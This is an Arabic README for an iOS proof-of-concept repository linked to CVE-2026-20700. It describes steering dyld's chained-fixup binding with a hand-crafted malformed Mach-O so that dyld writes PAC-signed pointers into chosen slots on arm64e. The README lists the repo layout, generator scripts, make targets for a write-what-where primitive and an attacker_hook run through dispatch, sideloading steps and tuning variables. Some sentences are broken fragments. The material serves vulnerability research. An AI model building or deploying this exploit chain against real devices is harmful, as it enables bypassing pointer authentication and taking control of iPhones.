
استكشاف مُتحكَّم فيه لآليات ربط page-in والتصليح السلسلي (chained fixup) في dyld باعتبارها نبيء توقيع PAC، في سياق CVE-2026-20700.
على arm64e، تكون كل مؤشرات الدوال مُوثَّقة عبر العتاد. الهدف هنا هو إظهار أن dyld نفسه يمكن توجيهه — عبر ملف Mach-O مُصنَّع يدويًا — لإنتاج مؤشرات صالحة لـ PAC في خانات يختارها المهاجم، دون استخدام أي شيء سوى آلية التصليح العادية الخاصة به.
اختُبر على: iPhone 14 (iOS 18.5, arm64e).
__DATA الخاصة به.fixupPage64 — قيم page_start / next التالفة تُخرج dyld خارج حدود الصفحة، مما يُثبت قابلية الوصول إلى الفرع.dispatch_source_t ويُستدعى طبيعيًا عبر حلقة الأحداث، دون أي استدعاء مباشر من كود PoC.dyld-signing-oracle-poc/
├── Makefile ← orchestrates the full pipeline
├── src/
│ └── launcher.c ← iOS launcher (2 threads + dispatch chain-close)
├── generators/
│ ├── gen_exports.py ← generates exports.c (N dummy symbols)
│ ├── gen_client.py ← generates client.c (N imports, dyld gate stress)
│ └── gen_malformed_dylib.py ← generates libmalformed.dylib (hand-crafted Mach-O)
├── tools/
│ ├── scan_pointers.py ← classifies Mach-O pointer sections as W/R
│ └── inspect_fixups.py ← parses LC_DYLD_CHAINED_FIXUPS header
└── blog/
├── it/
│ └── dyld-signing-oracle.md ← write-up completo in italiano
└── en/
└── dyld-signing-oracle.md ← full write-up in English
xcrun --sdk iphoneos --show-sdk-path)# Default full build (arm64, 99k symbols)
make
# Fast build for iteration
make SYMBOLS=10000
# Deterministic crash in fixupPage64 (branch reachability proof)
make stress
# Stable intra-image write-what-where
make exploit
# dyld writes PAC-valid pointer → dispatch calls it naturally
make chain_close
# Verify generated chained-fixup blob layout
make verify
# Parse LC_DYLD_CHAINED_FIXUPS header of libmalformed.dylib
make inspect
# Scan pointer sections (GOT/non-lazy) across compiled binaries
make scan
# Ad-hoc signed (Sideloadly)
make chain_close
# drag PoCApp.ipa into Sideloadly
# Real certificate
make resign IDENTITY="iPhone Developer: ..." PROFILE=embedded.mobileprovision
# Monitor logs
idevicesyslog | grep "POC"
ترتيب التحميل أثناء التشغيل داخل PoCApp:
libexports.dylib — يُحمَّل أولًا (RTLD_GLOBAL)، ويوفّر write_target_value وattacker_hook لأي dlopen لاحق.libclient.dylib — يُحمَّل بواسطة الخيط B (مكدس 128KB)؛ نحو 99 ألف هدف ربط يضغطون على بوابة ربط page-in في dyld.libmalformed.dylib — يُحمَّل بواسطة الخيط A؛ سلسلة تصليح سلسلية مُصنَّعة يدويًا تجعل dyld يحل _write_target_value ويكتبه (واختياريًا _attacker_hook) في __DATA+0x10 / +0x20.chain_close، يسجّل الخيط الرئيسي __DATA+0x20 كمعالج مؤقّت من نوع — وتستدعيه حلقة الأحداث بعد ثانية واحدة دون أي استدعاء مباشر من كود PoC.شرح تقني كامل باللغتين الإيطالية والإنجليزية. يغطي: آليات عتاد PAC، وdyld بوصفه منتِجًا للمؤشرات، وترميز التصليح السلسلي من الصفر، وآليات بوابة ربط page-in، ومزالق هندسة Mach-O (sizeofcmds، عدد المقاطع، والخطوة stride)، وتخطيط بيانات مُتحقق منه عبر canary، وبوابة 99 ألف رمز، وإثبات الوصولية من خلال التعطل، وبدائية مستقرة داخل الصورة نفسها، ومفهوم نبيء التوقيع على arm64e، وإغلاق سلسلة مؤقّت dispatch.
| الملف | مُولَّد بواسطة |
|---|
exports.c | generators/gen_exports.py + رموز Makefile الحارسة |
client.c | generators/gen_client.py |
libmalformed.dylib | generators/gen_malformed_dylib.py |
libexports.dylib | clang من exports.c |
libclient.dylib | clang من client.c |
PoCApp | clang من src/launcher.c |
PoCApp.ipa | خطوة package في Makefile |
| المتغير | الافتراضي | الوصف |
|---|
SYMBOLS | 99000 | عدد أهداف الربط في libclient (أقل من 100k لبوابة ما قبل 26.3، وأقل من 64k للإصدار 26.3+) |
STACK_KB | 128 | حجم مكدس خيط العامل بالكيلوبايت |
BURN_KB | 0 | كمية المكدس بالكيلوبايت التي يجب استهلاكها قبل dlopen (0 = تلقائي) |
MARGIN_KB | 24 | هامش الاستهلاك التلقائي |
ARM64E | 0 | استخدام تنسيق DYLD_CHAINED_PTR_ARM64E_USERLAND24 |
MALFORM_PAGEIN | 0 | تفعيل سلسلة page-in التالفة |
MALFORM_TARGET_OFFSET | — | الإزاحة المستهدفة داخل __DATA (مثل 0x10) |
CHAIN_CLOSE | 0 | الخانة الثانية ← _attacker_hook، تفعيل عرض dispatch التوضيحي |
dispatch_source_t